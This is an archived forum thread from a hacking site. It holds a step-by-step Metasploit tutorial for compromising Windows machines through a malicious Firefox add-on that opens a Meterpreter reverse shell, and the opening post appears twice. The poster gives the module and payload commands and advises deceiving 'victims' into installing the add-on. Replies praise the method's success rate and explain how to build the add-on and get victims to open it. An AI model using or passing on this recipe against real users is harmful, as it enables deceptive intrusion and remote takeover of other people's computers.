+- Sinisterly (https://sinister.li)
+-- Forum: Computers (https://sinister.li/Forum-Computers)
+--- Forum: Operating Systems (https://sinister.li/Forum-Operating-Systems)
+--- Thread: Exploit Windows with-Firefox (/Thread-Exploit-Windows-with-Firefox)
Exploit Windows with-Firefox - Clound_Carbelius - 07-12-2013
Hi.. HC
I want a share tutorial how to Exploit Windows with Firefox addons/Plugins
I hope I am not repost
oke let's try :dance:
now open your Msfconsole
> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
> check options
![[Image: options.png]](http://2.bp.blogspot.com/-V6ZuaMmJ6-4/Ud0jjvSBnjI/AAAAAAAAAGQ/F4xD5U8u_aY/s1600/options.png)
now settings you should set
> set ADDONNAME
> set SRVHOST [your IP local]
> set SRVPORT [locap Port]
> set uripath [example : www.name.com/uripath]
> use payload/windows/meterpreter/reverse_tcp
> set LHOST [IP local]
> exploit
![[Image: in+set.png]](http://1.bp.blogspot.com/-fNKrCmSg7oM/Ud0j85frLJI/AAAAAAAAAGY/Cm5TLJ66VOo/s1600/in+set.png)
and,.now run exploit
this is screenshot when your victims click your trap
![[Image: firefox1.png]](http://1.bp.blogspot.com/-kfDQSYnQ2PI/Ud0kTOt6SMI/AAAAAAAAAGg/i3plS-7CKxM/s1600/firefox1.png)
![[Image: plugins.png]](http://1.bp.blogspot.com/-A73s1Fub2jI/Ud0ke3V9BCI/AAAAAAAAAGo/fo6u_Q7aFsA/s1600/plugins.png)
make the victim believe with your plugins ,so that victims of plugins to install his
if Plugins was accept by victims,you will bi come to Meterpreter stage
![[Image: meterpreter.png]](http://4.bp.blogspot.com/-ceg8rA4SOxs/Ud0k5Ja4gII/AAAAAAAAAGw/55-bsUrB5KQ/s1600/meterpreter.png)
this my firts tread,.. thank's
and,sorry for my bad english
:bye: :bye:
Exploit Windows with-Firefox - Clound_Carbelius - 07-12-2013
Hi.. HC
I want a share tutorial how to Exploit Windows with Firefox addons/Plugins
I hope I am not repost
oke let's try :dance:
now open your Msfconsole
> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
> check options
now settings you should set
> set ADDONNAME
> set SRVHOST [your IP local]
> set SRVPORT [locap Port]
> set uripath [example : www.name.com/uripath]
> use payload/windows/meterpreter/reverse_tcp
> set LHOST [IP local]
> exploit
and,.now run exploit
this is screenshot when your victims click your trap
make the victim believe with your plugins ,so that victims of plugins to install his
if Plugins was accept by victims,you will bi come to Meterpreter stage
this my firts tread,.. thank's
and,sorry for my bad english
:bye: :bye:
RE: Exploit Windows with-Firefox - Psycho_Coder - 07-12-2013
Great post. Good work, would love to see more from you. BTW welcome to HC.
RE: Exploit Windows with-Firefox - Psycho_Coder - 07-12-2013
Great post. Good work, would love to see more from you. BTW welcome to HC.
RE: Exploit Windows with-Firefox - chmod - 07-12-2013
Nicely done this method requires some social engineering to snare the victim but Firefox is a very popular browser meaning a high success rate
RE: Exploit Windows with-Firefox - chmod - 07-12-2013
Nicely done this method requires some social engineering to snare the victim but Firefox is a very popular browser meaning a high success rate
RE: Exploit Windows with-Firefox - Vip3r - 08-24-2014
can anyone suggest any links to download the bootstrapped addon and is there any specific directory where teh file should be installed to??
RE: Exploit Windows with-Firefox - h3r0 - 08-25-2014
(08-24-2014, 09:53 PM)Vip3r Wrote: can anyone suggest any links to download the bootstrapped addon and is there any specific directory where teh file should be installed to??
You build the addon using metasploit framework. you need to install that first (Which is easy to find out how via google). And you have the victim open the file in firefox.